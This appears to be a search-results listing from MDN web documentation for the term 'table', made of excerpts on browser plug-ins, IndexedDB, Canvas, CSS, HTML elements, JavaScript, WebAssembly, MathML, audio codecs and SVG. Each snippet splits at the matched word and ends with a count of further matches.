table in the code. to double check the information you've inserted you can query the tbird.sqlite file using regular sqlite programs. const cc = components.classes; const ci = components.interfaces; var tbirdsqlite = { onload: function() { // initialization code this.initialized = true; this.dbinit(); }, dbconnection: null, dbschema: {
tables: { attachments:"id integer primary key, \ name text \ encoded text not null" } }, dbinit: function() { var dirservice = cc["@mozilla.org/file/directory_service;1"]. getservice(ci.nsiproperties); var dbfile = dirservice.get("profd", ci.nsifile); dbfile.append("tbird.sqlite"); var dbservice = cc[...
...orage/service;1"]. ...
...And 2 more matches
Plug-in Development Overview - Plugins
ate a plug-in, but make sure that you have the necessary files from the plugin sdk. create a plug-in project. write your plug-in code and implement the appropriate plug-in api methods for basic plug-in operation. you'll find an overview of the plug-in api methods in this chapter, as well as separate chapters for all of the major functional areas of the plug-in api. also see making plug-ins scrip
table for more information about making plug-ins accessible from the browser. build the plug-in for your operating system. see "building plug-ins". install the plug-in in the plug-in directory for your operating system. see installing plug-ins. test your plug-in and debug as necessary. create an html page and embed the plug-in object. for information about the html elements to use, see using html t...
...le extensions that the plug-in handles, the browser loads each library and calls into the np_getmimedescription entry point. this exported c function should return a string containing the type, extension list, and type description separated by colons. each mime types should be separated by semicolons. for example: image/xbm:xbm:x bitmap or for 2 mime types: image/xbm:xbm:x bitmap;image/png:png:por
table network graphics. this information will then appear in the navigator.mimetypes dom object. npp_getvalue is called after the plug-in is initialized to get the scripting interface while np_getvalue is called during initialization to retrieve the plug-in's name and description, which will appear in the navigator.plugins dom object which is used to populate about:plugins. caution: gecko caches the...
...ser and operates as an addition to current browser capabilities. to make the user feel that the plug-in is part of the the browser user interface, your plug-in can emulate the browser behavior by providing status line messages. use the npn_status method to display a message on the status line. for information about using this method, see version, ui, and status information. making plug-ins scrip
table scrip
table plug-ins are plug-ins that have been extended to provide methods that can be called from javascript and the dom when accessed through the object or embed element. consider the following example, where a media player plug-in can be controlled with an advancetonextsong() method called inside the script element: <object id="myplugin" type="audio/wav" data="music.wav"> </object> <...
...And 2 more matches
Scripting plugins - Plugins
« previousnext » xxx: dummy p element this document describes the new cross-browser npapi extensions, commonly called npruntime, that have been developed by a group of browser and plugin vendors, including the mozilla foundation, adobe, apple, opera, and sun microsystems (see press release). ...
...nly called npruntime, that have been developed by a group of browser and plugin vendors, including the mozilla foundation, adobe, apple, opera, and sun microsystems (see press release). this document also explains how to make a plugin use these new extensions to be scrip
table as well as how to access objects in a browser. (a bit of history: npapi plugins that used to take advantage of being scrip
table via liveconnect in 4.x netscape browsers lost this possibility in mozilla (due to the jni making the netscape 4.x jri obsolete). as an answer to this large gap in the netscape plugin api, an extension to the api has been developed that lets plugins be scrip
table again, independent of java. this extension will also let plugins access the script objects in the browser, and is thus a much stronger a...
...ip
table again, independent of java. this extension will also let plugins access the script objects in the browser, and is thus a much stronger and more flexible api.) the information in this section applies to firefox 1.0 and mozilla 1.7.5 and newer versions. how the dom handles scripting the mozilla dom code now checks if a plugin supports this new scriptability api and if it exposes a scrip
table object through this new mechanism. mozilla does this by calling the old plugin api call npp_getvalue with the new enumeration value that has been added to the nppvariable enumeration. the new nppvariable enumeration is defined in npapi.h as: nppvpluginscrip
tablenpobject = 15 threading model this api is not designed to be thread safe. the threading model for this api is such that all calls th...
...And 2 more matches
Using images - Web APIs
element img.src = 'data:image/gif;base64,r0lgodlhcwalaiaaaaaa3pn/zih5baeaaaealaaaaaalaasaaaiuha+hkcuo4lmnvindo7qyrixigbyaow=='; one advantage of data urls is that the resulting image is available immediately without another round trip to the server. another potential advantage is that it is also possible to encapsulate in one file all of your css, javascript, html, and images, making it more por
table to other locations. some disadvantages of this method are that your image is not cached, and for larger images the encoded url can become quite long. using frames from a video you can also use frames from a video being presented by a <video> element (even if the video is not visible). for example, if you have a <video> element with the id "myvideo", you can do this: function getmyvideo() { ...
...ry simple. each <img> is assigned an id attribute, which makes them easy to select using document.getelementbyid(). we then simply use drawimage() to slice the rhino out of the first image and scale him onto the canvas, then draw the frame on top using a second drawimage() call. art gallery example in the final example of this chapter, we'll build a little art gallery. the gallery consists of a
table containing several images. when the page is loaded, a <canvas> element is inserted for each image and a frame is drawn around it. in this case, every image has a fixed width and height, as does the frame that's drawn around them. you could enhance the script so that it uses the image's width and height to make the frame fit perfectly around it. the code below should be self-explanatory. we loo...
...nce the script so that it uses the image's width and height to make the frame fit perfectly around it. the code below should be self-explanatory. we loop through the document.images container and add new canvas elements accordingly. probably the only thing to note, for those not so familiar with the dom, is the use of the node.insertbefore method. ...
...And 2 more matches
Introduction to the File and Directory Entries API - Web APIs
e apis the file and directory entries api is an alternative to other storage apis like indexeddb, websql (which has been deprecated since november18, 2010), and appcache. the api is a better choice for apps that deal with blobs for the following reasons: the file and directory entries api offers client-side storage for use cases that are not addressed by databases. if you want to have large mu
table chunks of data, the file and directory entries api is a much more efficient storage solution than a database. while firefox supports blob storage for indexeddb, chrome currently does not (chrome is still implementing support for blob storage in indexeddb). if you are targeting chrome for your app and you want to store blobs, the file and directory entries api and app cache are your only choices.
...ries api is a much more efficient storage solution than a database. while firefox supports blob storage for indexeddb, chrome currently does not (chrome is still implementing support for blob storage in indexeddb). if you are targeting chrome for your app and you want to store blobs, the file and directory entries api and app cache are your only choices. however, appcache storage isn't locally mu
table, and doesn't allow for fine-grained client-side management. in chrome, you can use the file and directory entries api with the quota management api, which lets you ask for more storage and manage your storage quota. sample use cases the following are just a few examples of how you can use the file and directory entries api: apps with persistent uploader when a file or directory is sel...
...nt) the file and directory entries api is case sensitive the filesystem api is case-sensitive, and case-preserving. restrictions for security reasons, browsers impose restrictions on file access. if you ignore them, you will get security errors. the file and directory entries api adheres to the same-origin policy the file and directory entries api does not let you create and rename execu
table files the file system is sandboxed you cannot run your app from file:// the file and directory entries api adheres to the same-origin policy an origin is the domain, application layer protocol, and port of a url of the document where the script is being executed. each origin has its own associated set of file systems. the security boundary imposed on file system prevents applications from a...
...And 2 more matches
Fullscreen API - Web APIs
o full-screen mode is done by calling element.requestfullscreen() on the <video> element. if full-screen mode is already active (fullscreenelement is not null), we call exitfullscreen() on the document to shut off full-screen mode. specifications specification status fullscreen api living standard browser compatibility document.fullscreen the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfullscreen deprecatedchrome full support ...
... full support no support no supportdeprecated. not for use in new websites.deprecated. not for use in new websites.user must explicitly enable this feature.user must explicitly enable this feature.uses a non-standard name.uses a non-standard name. document.fullscreenelement the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfullscreenelementchrome full support ...
...artial support partial supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.uses a non-standard name.uses a non-standard name.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. document.fullscreenenabled the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfullscreenenabledchrome full support ...
...And 2 more matches
IDBIndex.isAutoLocale - Web APIs
, then get the index lname from a simple contacts database. we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. the isautolocale value is logged to the console. ...
... console. ...
...bleentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.isautolocale); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var
tablerow = document.createelement('tr');
tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' ...
...And 2 more matches
IDBIndex.locale - Web APIs
store, then get the index lname from a simple contacts database. we then open a basic cursor on the index using idbindex.opencursor — this works the same as opening a cursor directly on an objectstore using idbobjectstore.opencursor except that the returned records are sorted based on the index, not the primary key. the locale value is logged to the console. ...
...to the console. ...
...{
tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); console.log(myindex.locale); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var
tablerow = document.createelement('tr');
tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' + '<td>' + cursor.value.email + '</td>' ...
...And 2 more matches
IDBIndex.openKeyCursor() - Web APIs
hen open a key cursor on the index using openkeycursor() — this works the same as opening a cursor directly on an objectstore using idbobjectstore.openkeycursor except that the returned records are sorted based on the index, not the primary key. finally, we iterate through each record in the index, and insert the last name and the corresponding primary key of the referenced record into an html
table. ...
...penkeycursor() — this works the same as opening a cursor directly on an objectstore using idbobjectstore.openkeycursor except that the returned records are sorted based on the index, not the primary key. finally, we iterate through each record in the index, and insert the last name and the corresponding primary key of the referenced record into an html
table. ...
...f the referenced record into an html
table. ...
...And 2 more matches
InputEvent.dataTransfer - Web APIs
operty of the inputevent interface returns a datatransfer object containing information about richtext or plaintext data being added to or removed from editible content. syntax var datatransfer = inputevent.datatransfer value a datatransfer object. examples in the following simple example we've set up an event listener on the input event so that when any content is pasted into the contentedi
table <p> element, its html source is retrieved via the inputevent.datatransfer.getdata() method and reported in the paragraph below the input. try copying and pasting some of the content provided to see the effects. <p><span style="font-weight: bold; color: blue">whoa, bold blue text!</span></p> <p><span style="font-style: italic; color: red">exciting: italic red text!</span></p> <p>boring normal te...
...s retrieved via the inputevent.datatransfer.getdata() method and reported in the paragraph below the input. try copying and pasting some of the content provided to see the effects. ...
...od and reported in the paragraph below the input. try copying and pasting some of the content provided to see the effects. ...
...And 2 more matches
KeyboardEvent: code values - Web APIs
only keys which generate scan codes on windows are listed. ...
...only keys which generate scan codes on windows are listed. ...
...only keys which generate scan codes on windows are listed. ...
...And 2 more matches
ReadableStream.pipeThrough() - Web APIs
the pipethrough() method of the readablestream interface provides a chainable way of piping the current stream through a transform stream or any other wri
table/readable pair. piping a stream will generally lock it for the duration of the pipe, preventing other readers from locking it. syntax var transformedstream = readablestream.pipethrough(transformstream[, options]); parameters transformstream a transformstream (or an object with the structure {wri
table, readable}) consisting of a readable stream and a wri
table stream working together to transform some data from one form to another. data writen to the wri
table stream can be read in some transformed state by the readable stream. for example, a textdecoder, has bytes written to it and strings read from it, while a video deco...
...ther to transform some data from one form to another. data writen to the wri
table stream can be read in some transformed state by the readable stream. for example, a textdecoder, has bytes written to it and strings read from it, while a video decoder has encoded bytes written to it and uncompressed video frames read from it. options optional the options that should be used when piping to the wri
table stream. available options are: preventclose: if this is set to true, the source readablestream closing will no longer cause the destination wri
tablestream to be closed. the method will return a fulfilled promise once this process completes, unless an error is encountered while closing the destination in which case it will be rejected with that error. preventabort: if this is set to true, er...
...the source readablestream closing will no longer cause the destination wri
tablestream to be closed. the method will return a fulfilled promise once this process completes, unless an error is encountered while closing the destination in which case it will be rejected with that error. preventabort: if this is set to true, errors in the source readablestream will no longer abort the destination wri
tablestream. the method will return a promise rejected with the source’s error, or with any error that occurs during aborting the destination. preventcancel: if this is set to true, errors in the destination wri
tablestream will no longer cancel the source readablestream. in this case the method will return a promise rejected with the source’s error, or with any error that occurs during canceling ...
...And 2 more matches
Advanced techniques: Creating and sequencing audio - Web APIs
if you're familiar with these terms and you're looking for an introduction to their application within with the web audio api, you've come to the right place. demo we're going to be looking at a very simple step sequencer: in practice this is easier to do with a library — the web audio api was built to be built upon. ...
...for what we will call the "sweep" sound, that first noise you hear when you dial up, we're going to create an oscillator to generate the sound. the oscillatornode comes with basic waveforms out of the box — sine, square, triangle or sawtooth. however, instead of using the standard waves that come by default, we're going to create our own using the periodicwave interface and values set in a wave
table. ...
... create our own using the periodicwave interface and values set in a wave
table. we can use the baseaudiocontext.createperiodicwave method to use this custom wave with an oscillator. the periodic wave first of all, we'll create our periodic wave. to do so, we need to pass real and imaginary values into the baseaudiocontext.createperiodicwave() method.: let wave = audioctx.createperiodicwave(wave
table.real, wave
table.imag); note: in our example the wave
table is held in a separate javascript file (wave
table.js), because there are so many values. it is taken from a repository of wave
tables, which can be found in the web audio api examples from google chrome labs. the oscillator now we can create an oscillatornode and set its wave to the one we've created: function playsweep() { let o...
...And 2 more matches
Cognitive accessibility - Accessibility
authentication code sent to a mobile device via text message helps with the following scenarios: people with attention or anxiety disorders. people who have a poor short-term memory, or who are multitasking. people who are less technologically literate. people who have poor wireless reception. people who have motor control issues. adaptability guideline 1.3 states "content should be adap
table." create content that can be presented in different ways without losing information or structure. for example, provide responsive layouts, with a single column mobile design. all information, including structure and relationships conveyed through the presentation, should be available in a form that can be perceived by all users to achieve this goal. for example, the information could be spoken a...
...ther methods to identify page content sections (borders, whitespace, horizontal rules, etc.). multiple ways to find content different users prefer different methods of finding information, so it is important to provide multiple ways for users to locate content on your site. providing more than one way to navigate your site can help people find information faster. some users may prefer a
table of contents, site map, or search functionality rather than reading and traversing through several pages to find what they need. others may prefer to explore the site in a sequential manner, moving from page to page in order to best understand the site's layout, content, and concepts. ability to bypass blocks of content providing a mechanism, such as a skiplink, to bypass blocks of conten...
...miliar with the meaning of a term in context. another solution is to use glyphs or diacritical marks to illustrate pronunciation. however, if this technique is used, there must be a mechanism to turn it off. further, it is helpful to link to a guide to the marks being used, as their meaning may not be obvious. predictability wcag guideline 3.2 states "make web pages appear and operate in predic
table ways." this is a tenet of good user experience design. consistency is especially important for people with cognitive difficulties. this includes consistency in page layout and predic
table interactive components. use activation, not focus to change context creating a change in context should be intentional. because of this, when a ui feature receives focus, it should not trigger further user-fac...
...And 2 more matches
:read-write - CSS: Cascading Style Sheets
input:read-write, textarea:read-write { background-color: #bbf; } p:read-write { background-color: #bbf; } syntax :read-write examples confirming form information in read-only/read-write controls one use of readonly form controls is to allow the user to check and verify information that they may have entered in an earlier form (for example, shipping details), while still being able to submit the information along with the rest of the form. we do just this in the example below. ...
...ple, shipping details), while still being able to submit the information along with the rest of the form. we do just this in the example below. the :read-only pseudo-class is used to remove all the styling that makes the inputs look like clickable fields, making them look more like read-only paragraphs.the :read-write pseudo-class on the other hand is used to provide some nicer styling to the edi
table <textarea>. input:-moz-read-only, textarea:-moz-read-only, input:read-only, textarea:read-only { border: 0; box-shadow: none; background-color: white; } textarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html; this renders like so: styling read-write non-form controls ...
...extarea:-moz-read-write, textarea:read-write { box-shadow: inset 1px 1px 3px #ccc; border-radius: 5px; } you can find the full source code at readonly-confirmation.html; this renders like so: styling read-write non-form controls this selector doesn't just select <input>/<textarea> elements — it will select any element that can be edited by the user, such as a <p> element with contentedi
table set on it. <p contentedi
table>this paragraph is edi
table; it is read-write.</p> <p>this paragraph is not edi
table; it is read-only.</p> p { font-size: 150%; padding: 5px; border-radius: 5px; } p:read-only { background-color: red; color: white; } p:read-write { background-color: lime; } specifications specification status comment html living standar...
...And 2 more matches
min-width - CSS: Cascading Style Sheets
no limit on the size of the box. max-content the intrinsic preferred min-width. min-content the intrinsic minimum min-width. fit-content(<length-percentage>) uses the fit-content formula with the available space replaced by the specified argument, i.e. min(max-content, max(min-content, argument)). ...
... editor's draft css box sizing module level 3the definition of 'min-width' in that specification. working draft adds the max-content, min-content, fit-content keywords. ...
...-content, min-content, fit-content keywords. css flexible box layout modulethe definition of 'min-width' in that specification. candidate recommendation adds the auto keyword and uses it as the initial value. css level 2 (revision 1)the definition of 'min-width' in that specification. recommendation initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmin-widthchrome full support ...
...And 2 more matches
Block formatting context - Developer guides
the region in which the layout of block boxes occurs and in which floats interact with other elements. a block formatting context is created by at least one of the following: the root element of the document (<html>). floats (elements where float isn't none). absolutely positioned elements (elements where position is absolute or fixed). inline-blocks (elements with display: inline-block). ...
...ock boxes occurs and in which floats interact with other elements. a block formatting context is created by at least one of the following: the root element of the document (<html>). floats (elements where float isn't none). absolutely positioned elements (elements where position is absolute or fixed). inline-blocks (elements with display: inline-block). ...
...act with other elements. a block formatting context is created by at least one of the following: the root element of the document (<html>). floats (elements where float isn't none). absolutely positioned elements (elements where position is absolute or fixed). inline-blocks (elements with display: inline-block).
table cells (elements with display:
table-cell, which is the default for html
table cells).
table captions (elements with display:
table-caption, which is the default for html
table captions). anonymous
table cells implicitly created by the elements with display:
table,
table-row,
table-row-group,
table-header-group,
table-footer-group (which is the default for html
tables,
table rows,
table bodies,
table headers, and
table footers, respectively), or inline-
table. block eleme...
...And 2 more matches
Applying color to HTML elements using CSS - HTML: Hypertext Markup Language
color for them with the text-decoration-color property. text-emphasis-color the color to use when drawing emphasis symbols adjacent to each character in the text. this is used primarily when drawing text for east asian languages. caret-color the color to use when drawing the caret (sometimes referred to as the text input cursor) within the element. this is only useful in elements that are edi
table, such as <input> and <textarea> or elements whose html contentedi
table attribute is set. boxes every element is a box with some sort of content, and has a background and a border in addition to whatever contents the box may have. borders see the section borders for a list of the css properties you can use to set the colors of a box's borders. background-color the background color to use ...
...you need to mix them together. the saturation (s) component of the color indicates what percentage of the final color should be comprised of that perfectly vivid color. the rest of the final color is made up of the grey paint that represents the saturation. you can also optionally include an alpha channel, to make the color less than 100% opaque. ...
...also optionally include an alpha channel, to make the color less than 100% opaque. ...
...And 2 more matches
<textarea> - HTML: Hypertext Markup Language
s. baseline inconsistency the html specification doesn't define where the baseline of a <textarea> is, so different browsers set it to different positions. for gecko, the <textarea> baseline is set on the baseline of the first line of the textarea's first line, on another browser it may be set on the bottom of the <textarea> box. don't use vertical-align: baseline on it; the behavior is unpredic
table. controlling whether a textarea is resizable in most browsers, <textarea>s are resizable — you'll notice the drag handle in the right hand corner, which can be used to alter the size of the element on the page. this is controlled by the resize css property — resizing is enabled by default, but you can explicitly disable it using a resize value of none: textarea { resize: none; } stylin...
...o a form; they are not a substitute for a proper <label> element tied to the input. see labels and placeholders in <input>: the input (form input) element for a full explanation. disabled and readonly this example shows two <textarea>s — one of which is disabled, and one of which is readonly. have a play with both and you'll see the difference in behavior — the disabled element is not selec
table in any way (and its value is not submitted), whereas the readonly element is selec
table and its contents copyable (and its value is submitted); you just can't edit the contents. note: in browsers other than firefox, such as chrome, the disabled textarea content may be selec
table and copyable. <textarea name="textarea" rows="5" cols="30" disabled>i am a disabled textarea</textarea> <text...
... permitted content text tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. ...
...And 2 more matches
<th> - HTML: Hypertext Markup Language
the exact nature of this group is defined by the scope and headers attributes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories none. permitted content flow content, but with no header, footer, sectioning content, or heading content descendants. tag omission the start tag is mandatory. the end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element. ...
...ent, or heading content descendants. tag omission the start tag is mandatory. the end tag may be omitted, if it is immediately followed by a <th> or <td> element or if there are no more data in its parent element. permitted parents a <tr> element. implicit aria role columnheader or rowheader permitted aria roles any dom interface html
tableheadercellelement attributes this element includes the global attributes. abbr this attribute contains a short abbreviated description of the cell's content. some user-agents, such as speech readers, may present this description before the content itself. colspan this attribute contains a non-negative integer value that indicates for how many columns the cell extends. its default val...
...rect and will be set to the default value (1). headers this attribute contains a list of space-separated strings, each corresponding to the id attribute of the <th> elements that apply to this element. rowspan this attribute contains a non-negative integer value that indicates for how many rows the cell extends. its default value is 1; if its value is set to 0, it extends until the end of the
table section (<thead>, <tbody>, <tfoot>, even if implicitly defined), that the cell belongs to. values higher than 65534 are clipped down to 65534. scope this enumerated attribute defines the cells that the header (defined in the <th>) element relates to. it may have the following values: row: the header relates to all cells of the row it belongs to. col: the header relates to all cells of the...
...And 2 more matches
Browser detection using the user agent - HTTP
all screen so they can optimize their website accordingly. while user agent sniffing can sometimes detect these, not all devices are the same: some mobile devices have big screen sizes, some desktops have a small touchscreen, some people use smart tv's which are an entirely different ballgame altogether, and some people can dynamically change the width and height of their screen by flipping their
tablet on its side! so, user agent sniffing is definitely not the way to go. thankfully, there are much better alternatives. use navigator.maxtouchpoints to detect if the user's device has a touchscreen. then, default back to checking the user agent screen only if (!("maxtouchpoints" in navigator)) { /*code here*/}. using this information of whether the device has a touchscreen, do not change the entir...
...en they actually want "rendering engine detection". do you actually want to detect firefox, as opposed to seamonkey, or chrome as opposed to chromium? or do you actually simply want to see if the browser is using the gecko or the webkit rendering engine? if this is what you need, see further down the page. most browsers set the name and version in the format browsername/versionnumber, with the no
table exception of internet explorer. but as the name is not the only information in a user agent string that is in that format, you can not discover the name of the browser, you can only check if the name you are looking for. but note that some browsers are lying: chrome for example reports both as chrome and safari. so to detect safari you have to check for the safari string and the absence of the ch...
... agent string edgehtml edge/xyz the non-chromium edge puts its engine version after the edge/ token, not the application version. note: edgehtml is no longer used in edge browser builds >= version 79 (see 'blink'). blink chrome/xyz rendering engine version most rendering engines put the version number in the renderingengine/versionnumber token, with the no
table exception of gecko. gecko puts the gecko version number in the comment part of the user agent after the rv: string. from gecko 14 for the mobile version and gecko 17 for the desktop version, it also puts this value in the gecko/version token (previous version put there the build date, then a fixed date called the geckotrail). os the operating system is given in most user agent strings (although...
...And 2 more matches
Numbers and dates - JavaScript
ues of these properties and you use them as follows: var biggestnum = number.max_value; var smallestnum = number.min_value; var infinitenum = number.positive_infinity; var neginfinitenum = number.negative_infinity; var notanum = number.nan; you always refer to a property of the predefined number object as shown above, and not as a property of a number object you create yourself. ...
..._infinity; var neginfinitenum = number.negative_infinity; var notanum = number.nan; you always refer to a property of the predefined number object as shown above, and not as a property of a number object you create yourself. the following
table summarizes the number object's properties. ...
...lways refer to a property of the predefined number object as shown above, and not as a property of a number object you create yourself. the following
table summarizes the number object's properties. ...
...And 2 more matches
Quantifiers - JavaScript
do not forget to edit it as well, thanks! note: in the following, item refers not only to singular characters, but also includes character classes, unicode property escapes, groups and ranges. characters meaning x* matches the preceding item "x" 0 or more times. for example, /bo*/ matches "boooo" in "a ghost booooed" and "b" in "a bird warbled", but nothing in "a goat grunted". x+ matches the preceding item "x" 1 or more times. equivalent to {1,}. ...
...tifier makes the quantifier "non-greedy": meaning that it will stop as soon as it finds a match. ...
... match "<foo>" examples repeated pattern var wordendingwithas = /\w+a+\b/; var delicatemessage = "this is spartaaaaaaa"; console.
table(delicatemessage.match(wordendingwithas)); // [ "spartaaaaaaa" ] counting characters var singleletterword = /\b\w\b/g; var notsolongword = /\b\w{1,6}\b/g; var loooongword = /\b\w{13,}\b/g; var sentence = "why do i have to learn multiplication
table?"; console.
table(sentence.match(singleletterword)); // ["i"] console.
table(sentence.match(notsolongword)); // [ "why", "do", "i", "have", "to", "learn", "
table" ] console.
table(sentence.match(loooongword)); // ["multiplication"] optional character var britishtext = "he asked his neighbour a favour."; var americantext = "he asked his neighbor a favor."; var regexpending = /\w+ou?r/g; ...
...And 2 more matches
Object.assign() - JavaScript
es in the sources if they have the same key. later sources' properties overwrite earlier ones. the object.assign() method only copies enumerable and own properties from a source object to a target object. it uses [[get]] on the source and [[set]] on the target, so it will invoke getters and setters. therefore it assigns properties, versus copying or defining new properties. ...
...r defining new properties. this may make it unsui
table for merging new properties into a prototype if the merge sources contain getters. for copying property definitions (including their enumerability) into prototypes, use object.getownpropertydescriptor() and object.defineproperty() instead. both string and symbol properties are copied. in case of an error, for example if a property is non-wri
table, a typeerror is raised, and the target object is changed if any properties are added before the error is raised. note: object.assign() does not throw on null or undefined sources. ...
...se of an error, for example if a property is non-wri
table, a typeerror is raised, and the target object is changed if any properties are added before the error is raised. note: object.assign() does not throw on null or undefined sources. ...
...And 2 more matches
WebAssembly - JavaScript
ction object). you can compare it to math, which is also a namespace object for mathematical constants and functions, or to intl which is the namespace object for internationalization constructors and other language-sensitive functions. description the primary uses for the webassembly object are: loading webassembly code, using the webassembly.instantiate() function. creating new memory and
table instances via the webassembly.memory()/webassembly.
table() constructors. providing facilities to handle errors that occur in webassembly via the webassembly.compileerror()/webassembly.linkerror()/webassembly.runtimeerror() constructors. constructor properties webassembly.compileerror() indicates an error during webassembly decoding or validation. webassembly.global() represents a global ...
...constructors. providing facilities to handle errors that occur in webassembly via the webassembly.compileerror()/webassembly.linkerror()/webassembly.runtimeerror() constructors. constructor properties webassembly.compileerror() indicates an error during webassembly decoding or validation. webassembly.global() represents a global variable instance, accessible from both javascript and impor
table/expor
table across one or more webassembly.module instances. this allows dynamic linking of multiple modules. webassembly.instance() is a stateful, execu
table instance of a webassembly.module webassembly.linkerror() indicates an error during module instantiation (besides traps from the start function). webassembly.memory() an object whose buffer property is a resizable arraybuffer that holds...
...fer property is a resizable arraybuffer that holds the raw bytes of memory accessed by a webassembly instance. webassembly.module() contains stateless webassembly code that has already been compiled by the browser and can be efficiently shared with workers, and instantiated multiple times. webassembly.runtimeerror() error type that is thrown whenever webassembly specifies a trap. webassembly.
table() an array-like structure representing a webassembly
table, which stores function references. static methods webassembly.instantiate() the primary api for compiling and instantiating webassembly code, returning both a module and its first instance. webassembly.instantiatestreaming() compiles and instantiates a webassembly module directly from a streamed underlying source, returning both ...
...And 2 more matches
MathML documentation index - MathML
mathml) is a dialect of xml for describing mathematical notation and capturing both its structure and content. 2 authoring mathml beginner, mathml, mathml project this page explains how to write mathematics using the mathml language. just like html, mathml is described with tags and attributes. html becomes verbose when your document contains advanced structures like lists or
tables but fortunately there are many generators from simple notations, wysiwyg editors and other content management systems to help writing web pages. 3 examples beginner, example, guide, mathml, needsbeginnerupdate below you'll find some examples you can look at to help you to understand how to use mathml to display increasingly complex mathematical concepts in web content. ...
...d be rendered as an identifier such as function names, variables or symbolic constants. you can also have arbitrary text in it to mark up terms. 18 <mlabeledtr> mathml, mathml reference, mathml:element, mathml:tabular math the mathml <mlabeledtr> element is used to represent a label in a row either on the left or on the right side (determined using the side attribute on the <m
table> element). child elements of <mlabeledtr> must be <mtd> elements. the first child is the label whereas all other children are representing row contents and are treated identically to children of <mtr> elements. 19 <mmultiscripts> mathml, mathml reference, mathml:element, mathml:script and limit schemata the mathml <mmultiscripts> element allows you to create tensor-like objec...
...bsup> mathml, mathml reference, mathml:element, mathml:script and limit schemata the mathml <msubsup> element is used to attach both a subscript and a superscript, together, to an expression. 33 <msup> mathml, mathml reference, mathml:element, mathml:script and limit schemata the mathml <msup> element is used to attach a superscript to an expression. 34 <m
table> mathml, mathml reference, mathml:element, mathml:tabular math the mathml <m
table> element allows you to create
tables or matrices. inside a <m
table> only <mtr> and <mtd> elements may appear. these elements are similar to <
table> , <tr> and <td> elements of html. 35 <mtd> mathml, mathml reference, mathml:element, mathml:tabular math the mathml <mtd> element represen...
...And 2 more matches
Web audio codec guide - Web media technologies
he audio, the more closely the sampled sound will match the source material. the effect of source audio format on encoded audio output because encoded audio inherently uses fewer bits to represent each sample, the source audio format may actually have less impact on the encoded audio size than one might expect. however, a number of factors do still affect the encoded audio quality and size. the
table below lists a number of key source audio file format factors and their impact on the encoded audio. the effect of source audio format and contents on the encoded audio quality and size feature effect on quality effect on size channel count the number of channels affects only the perception of directionality, not the quality. each channel may substantially incre...
...types of media, including blu-ray discs and hdtv, as well as being the format used for songs purchased from online vendors including itunes. aac has a number of profiles that define methods of compressing audio for specific use cases, including everything from high quality surround sound to low-fidelity audio for speech-only use. as a patent-encumbered format, aac support is somewhat less predic
table. for example, firefox only supports aac if support is provided by the operating system or an external library. supported bit rates arbitrary, up to 512 kbps variable bit rate (vbr) support yes supported sample formats 32-bit integer supported sample rates 8 khz - 96 khz recommended minimum bit rate for stereo sound 96 kbps at 48 khz sam...
...ed in what is perhaps the most widely distributed audio file format in the world, which is in large part responsible for the digital audio revolution of the late 1990s and early 2000s. mpeg-1 mp3 audio supports higher bit rates as well as higher sampling rates than mp3 audio in mpeg-2 files. mpeg-1 format mp3 is generally best for music or other complex audio, while mpeg-2 mode mp3 audio is accep
table for speech and other simpler sounds. the patents behind mp3 have expired, removing many or most licensing concerns around using mp3 files in your projects. that makes them a good choice for many projects. supported bit rates mpeg-1 mode: 32 kbps, 40 kbps, 48 kbps, 56 kbps, 64 kbps, 80 kbps, 96 kbps, 112 kbps, 128 kbps, 160 kbps, 192 kbps, 224 kbps, 256 kbps, 320 kbps mpeg-2...
...And 2 more matches
SVG Core Attributes - SVG: Scalable Vector Graphics
the svg core attributes are all the common attributes that can be specified on any svg element. id lang tabindex xml:base xml:lang xml:space attributes id defines a unique identifier (id) which must be unique in the whole document. its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with css). value: any valid id string; anima
table: no lang participates in defining the language of the element, the language that non-edi
table elements are written in or the language that edi
table elements should be written in. the tag contains one single entry value in the format defined in the tags for identifying languages (bcp47) ietf document. svg 2 introduce the new lang attributes. if both lang and xml:lang attribute are used, xm...
...e language that non-edi
table elements are written in or the language that edi
